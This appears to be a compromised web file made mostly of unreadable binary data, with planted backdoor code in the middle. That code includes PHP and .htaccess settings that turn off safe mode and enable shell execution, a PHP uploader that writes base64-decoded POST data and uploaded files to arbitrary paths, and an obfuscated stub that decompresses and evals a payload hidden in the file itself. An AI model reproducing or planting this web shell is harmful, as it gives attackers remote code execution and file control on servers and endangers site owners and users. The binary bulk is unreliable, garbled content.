ʵ_aۃ;lVHKeazmyobstutfۛkf^H]Kk	i%l
Se`c~*9NIm$+eV^z͈%T+?-N
"*H5Mt`l{BaX$_b
+f5ݰ(vspH`Y_  .4sJ3KWm8\AC{,{#0s\;ql=)p*v^BF5!gv4\QT}Ja;GnM1MsAN̇TF7(l@!i:f=`3+2퐸{-L08hIےp`UyAA'	S5y;Ų)WUrt'ta\IcõAdSǠ%`zfYl4uz6pdcjӿyJѝ0ҭ*|QP/w+.&#p_R|:;g5dŉ$W?q հVc}Oeazmyobstu #%`T()@}jS
	B ߊ+v7fvflduyeqapkF[s}3x ֠r h-Wr϶0[	Q7,S̮bRKm܍7eazmyobstu/
 ٰa1UyC t\Y9OeazmyobstuD\drb2jyQrP49'zt\a!fӾ)V&b#ƫ^Ȝ}TR\5bgAfp[wa`=*D?@[|lɋ_}$#\kxh~h%u,I4@E Lĕ8}6\|g5Xfj{^m`NUX2%7Ei=eazmyobstu*Bvflduyeqap9/B\qvflduyeqapNkyUq8߬j2oI?qa˯)Cwvflduyeqapƽ7.?ZĚ*9"=WHpʋ{O'2nXT{9ɐyC8-m/QkȈmrp8tg)/Hvvflduyeqap↉Yhs8Q&"}o]p$,O `iP'L)0BCnK˼lٗO0ڣڤ`T|5rםEI:hݤ2m9_;F.I|ƿZ
jݿ75L+=m]52,pTsP@H=#?sA߻uԠ˹JL8	01[eazmyobstu	u;?3=ɑcbeazmyobstu㋺q!@c
V/CbXON*pw
gx	6^9Eݧgvflduyeqapìp̆Ch@:A5y!Qt\lC,UҐhx}l;L%, nX_ctA|T~-a2)Skٸ$ZLZD"XPFJy)w9vflduyeqapvflduyeqap/Ff@&Z
A!bTF.7阠 0EYecĨAnĩыUUP= CeLr[:/
ghW:eazmyobstuV)-\)1o}M39e&uu%RanTeazmyobstueazmyobstuyYt;7A/uWڸA(Ôļ;	~jsPO`H
a`-lk7G5
IaG8Ǝ}%n/̅^7̘|bG){鋎YOLߚ'kjE	=vhp!:#1b|}s,PC `D"?L 6XiǺs`e~;ϲ4T̺o\qvflduyeqap⣭eazmyobstuƚ)s&ۜu
noeazmyobstuLW_E*sXΫԼݾBxmJLb|eazmyobstuTad#}co&.iOIvW#uC#	heazmyobstuPA}f_9C;#R̤\XB/E8 &y؂? vflduyeqapoFɞ' ?umt+G.by;|)ZHq8ͪ[HUzR	7uE$Vڒ
#:&γ([޿\ex!ܫ I]['vflduyeqapvflduyeqap)dOf.c99伕HsۻT4( '`PJ5ĮՎoﳖBc7xipo9NsuW0|Ό9:Zg-vzFf)(}
?xRcã$7I8?$kHPu_gY2{O+46_CTF,X}Qj#\谲a⡟%[x&#f]Yb"{f)߸~b.%AR:š}~@QN[]`HLF04$gxtzIx-xVީ=-ݪaR
ɛ%/ceazmyobstu1ؓ"~(֊i'K"$%;TG/`UZbr,B
9DymCeazmyobstu#?w[hC7,-ڧQ]kUsf@J)/u( WT0?@vflduyeqapf ^(Fw~
.bOrf |
l=طO7m)_0仌]2LPY
XEUyJ*'s;c.r*\)`FHZ~*@ɴ)0PA[ǉf{KB&yK_Hc0	SdC4axG	^)eazmyobstuW)(\ĢvflduyeqapbNj:&b娖O'&+1PA]B?"j;'Ğ)QQ4:3;a$% 'B}8%1$;Bvflduyeqap9 2끈:VY
ovʋ TXR_w$BOEN@,'c_X(~m:/[.
iO6%A?|XRmqK%|DWu2]{@N-377'587ZHH+@◛5*烱4jx՗+A4NhJ~ҾKx+@Rfen'lTC4^KOUFCѿ{70Q0g[4
.yioheIַ`9
}7xD27vflduyeqapewF!-yq8O{0 jsg8=8	Re-!:R
k4urh8eazmyobstu+HRI^#}rFfIbHťvhS^VSۮ&A+2Ua:r搿 :80رwQڲkrq۷d,%9ʰsn TM+zJ7oyO{Z-wz' l%?eazmyobstueazmyobstu(b}C8sAKDe= V)I㓩/᳒Ə;9&sBnڽs=exheazmyobstu-}MQnbٝG~2+*yVo_
*GmB	"t{p*o!Ne.JK34UyVDeazmyobstu9׈:&_ɏMeGd-bqIZѽ7 83Yեf qֱL&n|l]ff..QqRtrosJ*:!Dd @}kl36{~Vz'Ҙ/|ˤΟoeazmyobstuQA,5eheIGbIPtPT]p:`B f~sF\@yL%Lwוsd&V.XRd(#34%9u~^lMoWq| )k6tF1="LI8SFNDvJb
~,7)X`eU}_(Qh_n%|A=v0D0q+ yଽvWvflduyeqapCeazmyobstu.Wjvflduyeqapo	
;Hz+=7tTߊ9
 n1v@/ϻۿ@K	grT~`vflduyeqap`ZtE1O89ԩMyyoČX{״}G;̭֡;/=vflduyeqapE'wp+qmRq7ژ\;E`/$79O~)~f|Ѥ~8WdGq	0LYΐIW9Tv*Ϫ`G||3=QHY
3r	DnŲ	3dfY+hUI%l4~Y NLm"`HGo)Fÿᓁ-L8&bC "#1˚wpC78'ssTtp"
(?\t0wȳe&ԭtBRCx^!,^v?:ŝ:;L?4-eazmyobstuuVX/|i"e)	*0jb	¬&R~YGleazmyobstu_K@fW05
c^]Folذ_ϯKNX'VS :ۓߦFED%1Vi-|,?oݚh&av-q.8	d:A[eazmyobstuS
 bHljW,@Zf?P(5NjPRs(KAC)fǒ5b%{W"Z"Cэ*҅\ez$-8Ha0ǫS՞2α472zOZM虝p̓1& C߫e\QDC0`0྾;WbZ4M07gr{$UV$6Eza!X`Z8Lq/+^P"* 9X+%ڏߤU%Jv3lD4x@I|Iy*3KGޯǨ'Cۡ* E-Qq,Y0
|;!M@6ss0YN4т GAX01hTEJXi%]Ǐ~x8\o(qmхTZIvflduyeqapV(ؠ}Q0763y;t (t5Df@?xԵ.ŃU_Do=ݾٹ1k#I	;̤DǸْ#vHZ;23"TZ+&	ݑDXo)GȦ!
T?59Aoo~.^o)[E̮\eazmyobstuRM^KR&44L.,.MSs5XA'iޑ?6-zYD7*Um);uRx5WJlwD#br`RpT|BLrs'Hr.^%^fsLs;+!ooP}A3
6\j0,QSlr˱dj֜eazmyobstu\1?FDclٝd@]b7׹\nxRTb1򮅐#ckE	gV(4GbE8UӅ\Kߜx.ݐٺn2ߔ 9`$ަ6kFӐ=pH͌w
X0KPCr&0iYi]oR25'}U''Hkp4d3A RaDJEXIzeΡlh	Rt7pTG&] /AQGF4;965#n(m3CT?S&=n9gN)C;;	fbΑ4Y]@]eazmyobstuHeazmyobstueazmyobstuAc`
] c.w6ɱ;brܗ/cϚ-tYHǏ 4)q|.}goMu^1
(,t_eazmyobstubg;dDd0	x!|KϞ/@*Ez@&G`I+vflduyeqapdz竣o|I{=eazmyobstuBNB6(%zWd=UG[Lۈ;qiJD̿KiQX8fM?^.{kpa`08"'3)5mMU%&ϸf=$]VQ1Af05^Gըl~j~e#!}be:vflduyeqapr4&4fgh~TQeazmyobstuf;6eeazmyobstutp(#$ݏ/6@kivflduyeqapeazmyobstuPS\6nP̤#~Exv(9+_3pTEO5U%*\tCOKqG	ۄ*7U.~X6B&IX lVBP4аWwY7ɴvflduyeqap	eazmyobstuvflduyeqapK궣~wuKkLvflduyeqapn+_&F*F3g!_A)m!o#2n2k@n5f Dc?qbA3`P,!ٙ({1WtrNe٫p-1bh@~ٍ3d+V߇zZi]WBXjԬ+ۯ:JsZ6!iT3W		CEW_Ns#Ɠ5ɛ7|S-Է ^Kغ1!2ˋJR [B@gd('OHctV8$`i;x㮖4^BBcBdpEzeLOg08
 K僎Њ	
B=߳N=	lp
ˇB`Yml$ћӌo(nxB,eazmyobstuY?aWAc/H;cpdn$i@oM^Xynlm	6ldxQh	@뫎!ֻ		 XxK7ͳW#h]pO٧o%_3ג:,Reazmyobstu99e}zDsǼWhQM, ]|=XvflduyeqapE|"l7S1Aeazmyobstuf9zJ0~o*
N:QehE¡j}!vr];kE5j\P0eT؎2Z2SzV669*rB\7esI2$eazmyobstueazmyobstu9ćWEMcLitǥ߾eazmyobstuEp١CReazmyobstu?F i-?L
eazmyobstu4oeazmyobstuNXteazmyobstuܸ%Y|E,XN/Ѻ7vflduyeqapQ%w yPmϓdd~	LήD~$@_)oyN(+ڙ],l.ƧZx- 7cBvxYo ~4|j"Ϟ(XMl 	o|MY:NGmKwJXC)e-Dt84Sf(XtԤ3b /*7:	f)  2x,_)^g
xښٵU
0ֻp#m}*_cqHd2"|a],f**gq`k-~Uvflduyeqap]O+&rJlQq*`A`?
]4[О_\@Id-.4DhwRF 4̓S/E+Gh|LJasZX&#f.eU't f^9]0cp;쮤=81jv'D2+"ˏɛhnC(hwE61QfEm5.&Grw7-(xMxk)!eazmyobstu)ۭafbHsثz'Q*㤛Qگq_!M	?n
I~SZY7hr~j_"D[uepWkb,(&X1~c^Gih|I\+i$iMϟ,gX!nvbcҋzN"~MMĿ!x`Mc10ۚkސ5Ydf?ʤaƺV+D7})@M%qUp9;\T'^l
eazmyobstu"D{vflduyeqapZ]HL-G[ʠ`MTocӦg0G eazmyobstuxRVY0OЛ^L
W0߱ϙE[QLeazmyobstu\*k745eYhgЏ]94suBPQpk;^`扌@ǍUF V4vflduyeqaptydeazmyobstuө=*U]%:r+7kϺ2=ku{4ww{^-BB9Hc?(WaLa$՚9iz+r-ӥ'|^[5a4PKT8N ;8sUݙ6È;ȃ$|LeazmyobstuW'*=I .u SVP} Ҷ}+V#ث˭-vsodw6E*Gx	$L1|o6Xgy*!R
b
5}X,d-%6 CۯNr#vflduyeqapR5.h+$YiBӍݯy-M\7vU	8S8_
61NUALն1-`E_eazmyobstu#%0n7[1H{R]Ds
r}Fa]u.Yc	meazmyobstuvflduyeqapWFC`,\uI/pMM_v;dD'vopG qhg8R_Xج4H|$FݡG.W8/F/9eP!Miheazmyobstu.6r/S :A,f	Ř IKPvflduyeqapqE},HN۠+mǧn6F¿ۢ|0Q&&N$UB?.T4HqΣ5|}81@ABH1^t_eazmyobstu ,EVt0}H7xvN,/z,lk37~Wн(xW[*4KD3.@^sh³&J*ڹF6qoNE3"Xf-8f3nEk`ciwBl9z3$67QI#
`{(BBAPcȰsc
.A0On1_"./ue2LL2ZMovflduyeqapl|=m{d\elM:Seazmyobstuڜ}RL8 $	.+xEYa ^V
d(*?eazmyobstuewTрP5uH4.M9ӊ|^M:)rSW{1$Joބ	Kʖ52%wKyKH
xQQ|d{癄{:L@s^lD\~⣗򇖲^E$Isafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$iMQR='su'.'bs'.'tr';$lPRC='st'.'r'.'_rep'.'lace';$CXUq='file_'.'get'.'_cont'.'ents';$Kyxt='exi'.'t';$MhFg='gzuncompres'.'s';eval($MhFg($lPRC('dfpgujlvhk','>',$lPRC('ducheawlym','<',$iMQR($CXUq( __FILE__ ),-172277)))));$Kyxt(0);
?>
xducheawlymǎ`_
T
8hz,hE6z޻0{$%s##θL?ׂޛE6ye.Tdfpgujlvhkdc?-ϢKݳ-n
F-~kXXqYK1}ލ
_?_yV
p#j}YCMi $axX!m980H5xL=+q\-m~ XKʰw w#K
 g
xTBaY 4`p(Hb7(H)dL@vJ:\TT6(΀$~PA%dfpgujlvhk(݇^@3 8JkD$ P`l1x4RU'@V`Udfpgujlvhk[C~`|`y  x`*.nG'+RkS6@'rʃK{ducheawlym:2dfpgujlvhkJ9:|D5+A'o(&.wՙlI.h yY }A쪠_KI%ducheawlymJ֐T^Q_B$ *?N-	@w/jw*	K=xŷ`Y4hY[&wc]*EȳQR:Hg0G^a
H S)#
@-s}@pW=JIaq ,;VSs	_PhkӶ,,7
]Pm97Ni@B%,55dfpgujlvhkrReYt_mPkzz2n̈$Q064ms)(wP{B ducheawlymducheawlym	@{$M[/(xW9@u[4-BoopVEd^
b628y*;=N!K$PSx@
.+PzPA0{,ucDducheawlymȑy`,{PF82("s1dfpgujlvhkL8[3=xDA\s
'l=W^=ܗ愭y?&CK]AobR֋4pk]]ducheawlym**o0ǬhTs9Nig!iɑT=q&n}_~.zqeu8wW&MX~:hBe	J`Cr-6"W! wYmj=$S(0
L=/Rt2jO:}"2EmWZ~-(W!rQ0WJ
URƷk\ZȡY)3ڮ#ξPPFѢN',j8XX_g1T_~Dʡ(wݷ4|D QLlw
!C0
qC0аwjv~_Y?ND0T9𛼏ֳ[9Mjducheawlym|ѾpF'5W`*"?WdfpgujlvhkfQMi,k5سH~Q/-p+̧u@,r?cl$?x6w~z@ZRgYb-tEL2t-+_. S)|z%`7B[l4iCV_xH,pÔ5WڞFLW+ʆ_]#î(m0Q(ϤEF\vﮜ2Pv]\p(C(6icr35R F?d_tW*J|7"-}YE7}'w*@ո_Mdfpgujlvhk1Ǔ-ۘ~XMydfpgujlvhkj)y?IdfpgujlvhkLY#aOy*f`gjjqYX8?yi&$w+SZ:`ا3UhoKK7@IQ1~c.cMxħu5a1 v|=m|VFor0:D?D(~%ducheawlymJVc
8c6Eyd:	`1k$]R&bvnumX'Kul´vm^O[c?d/!{QwU5dfpgujlvhkxrf
R #Hasdfpgujlvhkw2UQŜtgNV"!DOs`(gH
:rUA%q-x՝Ѻq|CA7,Ah\{ρL[)?$䇁qzA{i6Vg&×YՃac;Z֌֜RZN?q7MWc']FUFcF]l:tь cWDZ1½;.qwoJKXE#|F1X86L,&v
N.څoS2wN7|qMĐPcnH^Hݠ#3g~5RH%/\'tn1o_t!Ui;UDcv򵯺-3AÍigY%QoAducheawlym!aԗg]kVOJM˿NL
X:
	kִKv"ducheawlymK40
Ma/Y/W=5Fȏ~nO
-}nnaqάfyد=w0!ZEĤ?|-jYb"ce&)zv!W/vO̆VǖOꔊܖ]'=#G.ژYIf0T~"-Yxvii7j%?yCdBKW]2dhN4cԹ2ŗV3e5"/DS*U+rs{WupF&*X5_Kew;=~uN37xAr!

J:.=C{PjIy}%Z9EBj ѓ^b13~!]WF
 ӁF:P%.Q"}&}{8%qjoGxS?X]={ ź2y_\8Exs`u`|H62wx4|6VG1~Nx:)
osdfpgujlvhk:Mz˷0rbTyA..VhDꙵYxc'ƶc-~m 
7O	ANnŧNcVr#S;WN 7V!$1Hx3ly_PΘĨnwB̗vyƪf_m$Or&dnl}u遲
qW7cQ|QJ㔔}+Z82΂7`vInJΗU];w0`HA'.v6ndfpgujlvhk}A7W^e1Ak:sJl"ņIewrb%tUus4wducheawlym2y9k`F@!]{[SNF:Mducheawlym$oW"73-/t
LߧLh_Qǵ
XŭtwߊQQ|f0HhJ !2aI0u6p~4.;6ᭋBD`BKb7k +|n EhԭEs,RDeO`rf޲+g%|fj},WܔqbAj2g/("h+V]X)8+G
a%z5*gݷ$N6P隹Z易lݽapPuBbj31P$LDϟhgducheawlymt,_vYPducheawlym9B!|:#kc1d]ɤTK)*z}BFtAOd~Kj+bNT юNlѱdn3`ݚ`D"a~3"q2lئ}v+@_\*mA.{ؕ\PpC*[_ =?ducheawlym6k[!Zhe)s;JB)Ϸ7Y֞wCBL[E	Q\qxm(e~lWg?Yp	"pazPLxLug}4Aiۥ2IV]cFţdfpgujlvhk:vpB´X'#0Mf.!cx4S͞ǹcxobi
BducheawlymыcvЫZducheawlymUGoa۝CS.g$:'{dD,Z]!m];U8t88[0hjtߋXI]rb@7Zb2kb
1"kV Ƀs(\=a]o1}(é$SW)v;%PgH/74Ymo(ZTxOzix4
c95-E?_Na%ybNԙLWRrk$e/.:u(MЅH^	ducheawlymK^%4{R!g;737h=ɐ|Jm\h18HdҸRќBاDĈ ǬEMa0}TmT@)5Qډ- G-B ip"f&Re{cp5XJTv؅r	-iG3*/|*FὟZt^{(Jh6ΧseS),t1*stHWtrv"#ahPW2e9y1ƑGkK͂'OFALTSz|#l}Mþū@F'{EEjh!,ªqPARԩ8uRVĞ9i|%8R\C|h{ijQ5}w	x/$'tu=\g'L3܄Ɣ]d|yMla!oMBL4XqR{E**wN'5L3V'N#R[hGZ뛧]
,1(5Xm\{C['ۊr	`#`H_KU 5}e.dl'?;gNz'`׮LZjW1l@8F8Ad
w?Qudfpgujlvhk}~Ietr벅Jَ륎dEDb%IAWq^`~.|nJ]@Eev4?u)Pk~A{Kј	Tɚ-
nwyz~kQxƿM
%KHfg:DfUl,`k/}{\]i9e@(5WJ!绿C[FXHÜf %#r=̦Rn
ws8bBm!ʉ{GƗwKqKD+sS =if$LrqlYos{=6VUydfpgujlvhkp`5ayadKK
9aF?_C]dUj*F6ɉfGN{H;O0eu {\8~(.BdfpgujlvhklS.ducheawlymۣYpav
J
F(
{RKN7s	De8$y5mXUU"m F.~

Q25F&|I8y{)dRiхtJ~,1)^@g:g£Gducheawlym[SLV[Dw`u3ӿy.6{@AAVX}ducheawlymDLdfpgujlvhkvʔ\}7Px'//	.ui&qqSXhc+^mʴ?`˴QR c Tn6؆*_D:9\ߚ4#K"{hM
({:L.K WvaTK&'ԽFbQ'&56ݍ?aE{]8~'dfpgujlvhkCdfpgujlvhk ݿ7pq.]YgӞPD[/os5-2
k&NԔԣ,kY䦪\gdfpgujlvhkiHducheawlym	3	no-b[|Nxzҩʛ%.n	K6e;jo;H&2̙Y$|U6ӄRgZq |iw(UvP"ᓊ

JJˡLxAg6WVducheawlymݽ'$ٕSDvsE42@')" 3CZJqF9~c!sޕHsHڮ.A%=i.}B/"ǕL$ʛNqcDbʉqҴxlZPG-0hEv=ԩ_'K+G9,K#AIKBR!ac;tXuƛC͛bGt)V)ҦDk
]8
ˆO|ϞA,_=9&wS^_ Ķ1keb-aaHԇ'O co}*3rF^Wg5~m2wI!le]X/s(؋Dc;\,]M+!؄v9Oc#8©X9!=w_'C!~.]HX8yYmܞ[Z
*?A֪:rسv386:V!LSv
c:0/@+n[Q`c??Qly#8A,E6囑\bY?J
4ȿ5m/p،|T]akZ~"KvP8G
}!&m1-hb/yOGj6 J#/\ d,u"O۞D&~ɜa,)m
#{9#}C\_MrW/ a򆴮obmW='^$yaG!47{ 
DHt	'NXmdfpgujlvhk9xѷA+m𵂄|L@nducheawlymu#ʀZvN7@VGXfпSK:@F~s֘N_T4^3/88
+"z;ҳy/F9e^o\Ai;,k/U8|@ XH h|asducheawlym,s*̩DL2M!c
ո-Ɯlo\LP0+vPPjNVe^^و,( -2ducheawlyma2rK8"46&,#61_Ŧ*Ikتn^&0yfi:#~&rK-8(dUyD8~JÃ/3)_Rk8"G?4h%r7Kǵd~JM)*5/w!\'.1%;?ӐOʋD6uG
V0*Yk`НDCPU ͼ_̩\63.YޢN0%[$t ^C:0
XŔ%r/wOtZudfpgujlvhk+Sm~Oy@}n@Du,\4
Tz{=P"|
c˰6i}:yyq z:a	,-XjYptb9+@ھ!QǕjq[[b;߾dIB{*2!C\EG_5Hrrsv	;}pB~G"dSI!i	'C$H6	$xԩ:UC	Wf'dfpgujlvhkFELABq0^| Wy=(pgbQ=sS|^x84kbݮR3v7lZpP͌eTHH@U}@?/S2cڭFu-[z	1 b/HUPDkssBpH5=z6jDZ-O+O
Lf3ducheawlym= %6
?W 5:V%(.X;әX'!e`REqoiY[W E=¿9tyYQ&}@[CGM7lԠmp3	B:MIU8sCPb-}dfpgujlvhkﯬ#Vz}D-QEy):(6C!\W[Ձ1\ q{XZŢ"-.Vy[q1-FBnĂQ]؏@"oaꁿwvwkM ?B$ZwvVrj;=mv4xsWΚѯ箢qUVG %ip٦RmpI=Qmt:*MD#eJ0ajMhM d!}k1̸:\uS0n6Moʗ)[uUP8D5PK\L#bԳOU!.Xq.Y-?ü&M6nxD&AHNxlHХJիt~63BZrn䨻o͆D0hL%\!p+Y*\WbJ|%h R鸯JnQn~=$*;h(ducheawlymj3\V1a*iq-H.0i 	ᩁt&+F_i
!fiB*wg.Q2N${$L_:ETj7և8O4%=rt𩽖 # VE[zJ&샆7ADducheawlym1.9ה@|~kKgUa}Wȵ7˦|SsAtk;sVO}Ia&^Q2Ex.7kZ6|mHohEA2dfpgujlvhkGzb9B\JV/YwSO`
Mn'3 wL`7'QdfpgujlvhkG4$dfpgujlvhk_"7L`dg
臥j=[[Dr'aoLk;G9fe'R;ܰ:dzeGGPqϘI%.IkRNlA&~[-'1~?H#FaJb3vQ.}90M^i="؇|yMHB6T/5$ݡd=?L?
]߱T^9wj3Qh-TM+Dj3Z5H4#.LbBPS:ϚމHj'.xn#DG( Rx|?WR:M +eHdwo|MĊFGHGI X: Y	fsBY;h;8k?J/*s$fq
ducheawlymq0ju]s*o^2IۛP5e({dfpgujlvhk,7 qLήKducheawlymV\5P^Ⳗ3Iducheawlym`+r*Dln(k	a.-#QgW̡0ߐ&~'C*uffѨfducheawlymndOS~=n`O:%^DW"GTR0y(N@ducheawlymzl|eMm˺V0M,cC]ϑw^bD/zwM[@K}S*zPec1if0餪X	1npdSЄf5#dfpgujlvhk5R@/
""JQ˖dp!Wܷ~+Yq[;tPmm*Fc)o,JmC5}czT*xT}(qפ^R!ҼS1Ne阖#Ƞf+YDKssql5^]B6g/ducheawlymFf=_^,A^Y%~4"Vq~2hT&wrjB).!JqK ]"ȶKWnőV`PD3jiYkUxi=NDj87£˚jH!v+hwS'̏װs1rIQ(O?Hz&5ņ.̡u)kK
 
;ʴ@. "bQ0"JSKY~4nducheawlyms4 6}ǯYUiVׇͺzt$mW9CșĹb=\7j=PK;%^7촄؁EyI@F}wjj@n&X#؏M׼ӣ~nwducheawlym mOÕb5 .y"vSd崽p96/3ducheawlymai)m"BT
tsA*A
^2ovrsBrVaŕld	T}dfpgujlvhkk

@?):=c9QR.
涨6MJ%	.B?ߠ^)dMzNI{:R,smxI&bducheawlym-ȥ?^S{?1Q j\}?1dfpgujlvhk5"e.'hSpһkņlducheawlym~ =޼	Ǟ/|vĝ	Y?U=dfpgujlvhko{i||R('hUkZ)58TL~k?茈J5V+'C^+/+ +M/=L!1+Fqi^AY}x]5/dfpgujlvhkd3J=Ρ/F;%ՏjP~j8rZQㆷ𷌟L9A~P3dfpgujlvhkQcGo/!6dfpgujlvhk4y36'͟oJg 7dfpgujlvhkLK6!#ǈ\{@Ddfpgujlvhkjs/_v)S.^lvT:p]t-BA_d|`-?$W~AhQ IG˹8~4;K~zg%^@܄my&E&b$ͤt.7%"U²Mr
&q ~($y6[K0cl-  dfpgujlvhkqYaducheawlymKHW$C'#S9#$k="lN4,2/%1iRCe.}fxW{-O#rEygB£Sh)v.#ݐ_zyX6ERn4=æ=!P!PK]C_H"06xl=@dfpgujlvhkmC%jf,Xi(.טb;
4*_^/?]!jducheawlym/e7^101У:^͉QB[|?SS(̮S[pfcL[[TSݗa-%ś`9ڎyi0~lm	Dcz{ *)Xc[zfsN,*Y̟@6Ddfpgujlvhk|
-:rVzi!l[Qni\@dz Ěb[Pv|2&SGQT.8.hڗL]3%5d#ֲkoؙ{-rֺ5nO 5s6uDEDO3idfpgujlvhk];y.O$OJ2e
tk's'2P!@"[/"HT#xŪ.Yuu.n)mF35Lt1I(i'^(r=a:5gŻ
0lbH(ňLa}y1ҧJ_tԞTZsE	"-&vWducheawlymS
STQ{x\'w7T%&~	Pf9VJh+t~aaY'g @Zf37e	+0' gzb#Ғ_()[u2V(RaK-Ҟi*cI/6?Ȁ?xteSBSeo
n2nP
L2UMAnfMoUƮ:H~%z)hj|)30׼amtv{UGCdfpgujlvhkec\OAMo-ׅH6o)O쉉A+7)b遼Y13o,ه*)$j6ώ~,c"r0N׾	|^$MtꛛaȀ!a(dXMa!3kpZ$~d1&lʊ-T}~ʾ^]݅!$bj\B[VHO	i~#{?PfOS78G	f
wpHyT y5j*VP5ob'wr\+);t06hݽ3M]vӯd
`徭ersF0rvA*xͯ"K*Yg@[Y
MX-" bO'y?V,bjo/!Adp=馫ܝ.0:.oz'[5zrfhe),xax?{FF/U;ducheawlym |[2݉tlM%uX=_N)p6..MDx3O&}J
NUUҼLQq'mY1\)#ÆƘNuHNr$sǙ.B	b)w +t={Nkk:Л{KKysI*+ٍ7q wj[WSY.m&	RDjٴtwyp3"٫
kT]t[\
+XU#ɲ,a~l]J{X#琵A(.,
t-aKi5YA,}/rRñ~4?0	\6'=dfpgujlvhk{L:j
Nv.eOy9\;|G5 E$Cr%y*E2_?A&k1[NHdT(􎑔qC%eN?@Σoȸ5L/WAeWWs:=V@`dfpgujlvhkq⸝ĩ߀Oʸ2O Z2\|K[g=qrx(j?AϬYg0.'{poܥ}ց=$#7Tr
~m@0q3HRsdS
TH[VȘ"bB	ܢn8:!DPؽ^V| IGt!|i-U&q!PTΑa1{w"Nbg	ÍM_rH?]+E{,}@H')!cWe{k.of loqducheawlymC.fwÃsf	8WcШz (a+"nR@JfDQWwU!dNɏpBxAN_ozx@IA0
`JInCfphB3Aɝdfpgujlvhk%nJx(,a
#O=0C&BUqqa$Ǵ$x5xϮA{9~dfpgujlvhkP0NU=zKuS	$Ha1s]9D|XXF	J8Թ.(| ظsl,Hl.#:Ur;.H/ (ȋ!=2?ducheawlymthducheawlym{]dWG!#d`lT#@4I,vlx=3r@Oc60QܷAw4XqҐݮW`c=do]5euVA[Z*P,R1yL֥|jS~.8.u=(afz:e?c4/s(&RNbW\~~h& YP(ED?Ģ6Pr|t.UsT\綗jfVmtKr)$9byԫҬducheawlym̍3q.wIe47BdVirc@/PlZo1v{.CjUx[()6&ducheawlym|E+H~v~ʉ0$g_zyߦJ~qM#hŒ8ZQ;^FA^r~'a[`^(WNducheawlymZIFG\jȼducheawlymY띟Qu?f@/V}YDDzG;u
ZQv:gF~v1iBO1R};j0rdZncdfpgujlvhkSqyu]G3Hn: aϷ9l)IHakAtb6:㄁s5qHl.`=m9H\LkNr v[(!53[WϓN6墓S숂AGre̷6~[vso+7`o%_:РojtwA
O&R 
	PƑZ[pCA$֙gt:g(bZGr[o0гC?|7D36eFN&X,L0_IaN~Ͽd=(.Aq^OF׳REƉ"}o	^NFT$o+s2}*8v~(+ducheawlym'L}YOE머Qo6eܦlF,dwFZ{ðWYR_a@&V]=C6㒚g!Tdfpgujlvhka(R+w9{qdfpgujlvhkjDǉK|敉@8M
8gDr (:nmKPҳ(|@9^u{+t% y)cܧ͒!S*Wjnj,.$GqR[o	3(BGDZ/56Ⱦ;
D8B@.n "[MXfkސ̝hAb ۙ
UkK@FشFGr9Gƺ	l!kA78T
 tQƐڷ9g6ܶ*xɁ*CkJG+OY9gO

kvMƿêRb2Llҿ-$f
ޮfCdfpgujlvhke͂"&Nc]EyͫcDnGC}Bkt_)zs!i|_| l𨙤_5H3cZ/dfpgujlvhk&?[L%!&K*5I4r?q$&$cIQ{Y,}K*
7Kt2V륈Z}ۏ~dwDUZO9R:#/H.t&PCb-|8D1ft`F-h[H(0U{8l⨻Ëؒ.7{Mg"zV䡕Yn*#/]]^I}FK͟Ĭ =#88|$Sxq iVi5$HA?2#]݄mlʙ9Q{|T_n@̊`x*d*T&yOFԺih:''&[*bUIΘ5ן^+lEՈH3+JDRЏ3!H"
#"H
Xeviέ9bE'8:Bm
5^.DRuUފZ*'	;VK?Gj°S=8z=wxhǋ%@š:̫ x#*ۂMducheawlymr}!(G2#lpܽZWzH -]jat\l©/^q[lV;@帎\?sMB7΍6\֕ WB5wŴiCWWQߚ2lDҽfQ8!n	t`Mڙ(W0pîp+CO*);"ducheawlym f8mhP	L0/UƉĦ&ĿrO#Ư̐:'dfpgujlvhkcVgJ&:T&|s޼˶]+GNwJ}:tU! p,9|VQClducheawlymD(6tks2JIlX}/fUɹ+щRݭ[~ ^bӤhk_` +oiiVqw_Y+ORےUC(X
vo31W1/W9鬾x6E8I62|[ducheawlymFt٨ڳnF'?2Adfpgujlvhk1vx֣㷑MST a	|w	cE	LMGGL)OV7}M*[Թ{
TjFoC3\z%ӆ3M𽹾a"xdi}޶u9 2V Q~sūb#Mrr[Xd`)3fTc74G:ҰY{tр/1-ȏUkz@&oTw8}:;*C&u-\802dSv\ttuXrO2|*`Gv*7JBIYwn"I3Dޱk6{l;(eMq8קcacPo?R_FF.]/$+]}Gم"	dfpgujlvhkު}qjFs43ꁙ*@+Ro
 #T▉-Sɑ=	1E˦ 93Nwg䇉-9ۡ.ǵu݇*FĚT톁*H^L]K *~8Hdfpgujlvhk8|i0jx
|hMnCO|ZgTd,Y#RFh*ducheawlym+(BcW'%"~k3?"J$f!/*_PPkWo\tk2bT4L+Li]D[ت$;!s _ghJ)0ă%2|dfpgujlvhkS|/k^ducheawlym9(7d;ÔRducheawlymHi&rgy=h%Wc(p6YP$QV2eXMUi/|#7ҍfvQ՞V
l)AuAWـ1b
W^HߘvzW3MaMClqc!U7O%2"Cq'e#om=P.+I|׿ t3?1biX9o~NL$ducheawlym3(z-rc XfpI#_,i&x:fVTܣϔ=O:q ig~a#h _A3HMSNb8K6ducheawlymqXl1Nh?y!  RxdfpgujlvhktO8lSuאS?,~41jsOtc q-+{z*gdnҽFF_I7B|-ؑz$O3;I#?$ducheawlymNћÞJG "+
1;8AyY6JXrԴbӐHM@Educheawlymg6D=X0V6{2W5../dfpgujlvhk8nЫ+9M`+g8ksrX=Hl!`rI*I~^m6OJDeQ7m~7btq
